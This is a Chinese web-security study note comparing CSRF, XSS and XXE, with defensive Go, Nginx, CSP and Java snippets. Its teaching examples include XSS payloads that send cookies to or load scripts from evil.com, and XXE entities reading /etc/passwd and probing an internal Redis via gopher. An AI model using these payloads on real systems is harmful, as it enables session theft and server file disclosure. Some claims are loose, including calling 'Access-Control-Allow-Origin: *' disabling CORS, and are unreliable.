Files
2026-05-24 11:42:38 +08:00

7.3 KiB

tags, create time
tags create time
计算机网络
CSRF
XSS
XXE
CORS
Web安全
2026-05-18 05:05

Web 应用攻击面:CSRF / XSS / XXE

概述

L7(应用层)攻击是黑客最常利用的层面。CSRF、XSS、XXE 三个名字相似但原理迥异,理解它们的区别和对应的防御手段是每个后端开发者的必修课。

CSRF vs XSS vs XXE —— 三巨头对比

flowchart LR
    subgraph "CSRF: 借用户的身份做操作"
        direction TB
        C1["用户已登录银行网站"] --> C2["访问恶意页面<br/>包含 <img src='bank.com/transfer'>"]
        C2 --> C3["浏览器自动带上 cookie → 转账成功"]
    end
    
    subgraph "XSS: 在用户浏览器执行脚本"
        direction TB
        X1["网站注入恶意 JS"] --> X2["其他用户打开含攻击页面的链接"]
        X2 --> X3["脚本在受害者上下文中执行 → 窃取 cookie"]
    end
    
    style C1 fill:#DDA0DD,color:#000
    style X1 fill:#FFD700,color:#000

详细对比表

特性 CSRF XSS (Reflected) XSS (Stored) XXE
全名 Cross-Site Request Forgery Cross-Site Scripting Stored/Persistent XSS XML External Entity
攻击目标 服务器操作 客户端浏览器 客户端浏览器 服务器文件系统/内网
核心漏洞 服务端没验证请求来源 输入未过滤直接输出到页面 持久化存储了恶意内容 XML 解析器处理了外部实体
用户需操作 只需打开恶意页面 只需点击带payload链接 完全被动 无需用户参与
防御方式 SameSite Cookie, CSRF Token, Referer 检查 CSP, 输入编码, HTTPOnly Cookie 同上 + 富文本 sanitizer 禁用 DTD/外部实体
危害等级 高(能代用户操作) 中高(能盗取会话) 最高(持久传播) 极高(RCE/文件读取)
OWASP排名 #9 #3 #3 N/A

CSRF 详解

攻击流程:
─────────────────────────────────────
1. 用户在 bank.com 已登录(cookie 有效中)
2. 用户访问 evil.com
3. evil.com 包含:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="hacker_account"/>
     <input name="amount" value="10000"/>
     <input type="submit" value="领取奖励!"/>
   </form>
4. 用户点击提交 → 浏览器自动携带 bank.com 的 cookie
5. bank.com 以为是合法操作 → 转账成功 💸
// ❌ 没有 CSRF 保护的 Go handler
func TransferHandler(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodPost {
        to := r.FormValue("to")
        amount := r.FormValue("amount")
        // ⚠️ 没有验证请求来源!任何网站都能伪造 POST 请求
        transferMoney(to, amount)
    }
}

// ✅ 方案一:CSRF Token
type CSRFStore struct {
    tokens sync.Map  // token → userID + expiry
}

func GenerateCSRFToken(userID string) (string, error) {
    tokenBytes := make([]byte, 32)
    rand.Read(tokenBytes)
    token := base64.URLEncoding.EncodeToString(tokenBytes)
    
    store.tokens.Store(token, userID)
    go func() {
        time.Sleep(24 * time.Hour)
        store.tokens.Delete(token)  // token 过期清理
    }()
    return token, nil
}

// ✅ 方案二:SameSite Cookie(现代浏览器原生支持)
http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sessionID,
    Path:     "/",
    HttpOnly: true,       // JS 无法读取
    SameSite: http.SameSiteStrictMode, // ← 关键!禁止跨站携带
})
# Nginx 层面的 CSRF 防御
location /api {
    # 校验 Referer(可被浏览器插件或旧浏览器绕过,仅作第二道防线)
    if ($http_referer !~* ^https://(www\.)?yourdomain\.com) {
        return 403;
    }
    proxy_pass http://backend;
}

XSS 详解

反射型 XSS 流程:
───────────────────────
1. 攻击者构造恶意 URL:
   https://site.com/search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
2. 受害者点击该 URL
3. 服务器把 q 参数原样放回 HTML 响应中
4. 浏览器执行脚本 → cookie 被盗 🚨

存储型 XSS 流程:
───────────────────────
1. 攻击者在评论区发帖: <script src=http://evil.com/xss.js></script>
2. 帖子被存入数据库
3. 所有浏览此页面的用户都会执行恶意脚本
4. 比反射型 XSS 危害大 10 倍(一次注入,无限受害)
// ✅ Go 的 html/template 自动转义,是最强的 XSS 防御
import "html/template"

tmpl, _ := template.New("search").Parse(`
    <h1>Search results for: {{.Query}}</h1>
    <!-- .Query 会被自动 HTML-escape → <script → &lt;script&gt; -->
`)
// tmpl.Execute(w, data) → 输出中的特殊字符已被转义
# CSP (Content Security Policy) 头 — XSS 的第二道防线
# 即使 XSS payload 被执行了,CSP 也能阻止它加载外部资源
HTTP/1.1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'
# default-src 'self'   → 只允许同源资源
# script-src 'self' ... → 禁止内联 script 和外部未知域

XXE 详解

<!-- 正常 XML -->
<?xml version="1.0"?>
<user>
    <name>Alice</name>
    <email>alice@example.com</email>
</user>

<!-- XXE 攻击 payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>    <!-- 服务器返回 /etc/passwd 的内容 -->
</user>

<!-- 更危险的版本:SSRF 式内网扫描 -->
<!ENTITY attack SYSTEM "gopher://10.0.0.1:6379/_INFO">
<!-- Redis INFO 命令返回值被写入响应 -->
// ✅ Go 的 encoding/xml 默认禁用外部实体,相对安全
// 但仍需注意 SAX parser 等第三方库的安全配置

// Java 中需要明确关闭 XXE
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setExpandEntityReferences(false);

CORS vs CSRF —— 经常被混淆的两个概念

CORS (Cross-Origin Resource Sharing):
──────────────────────────────────────
• 浏览器的安全策略,防止网页加载跨域资源
• 由浏览器自动执行,服务器通过响应头配合
• Access-Control-Allow-Origin: https://trusted.com

CSRF (Cross-Site Request Forgery):
────────────────────────────────────
• 攻击者利用已登录用户的凭证伪造请求
• 与 CORS 无关!CORS 不防 CSRF
• 防御用 SameSite Cookie + CSRF Token

[!important] 核心结论 CORS 不是 CSRF 的替代品。即使一个站点禁用了 CORS(Access-Control-Allow-Origin: *),依然会受到 CSRF 攻击。两者保护的是不同层面的安全问题。

关联笔记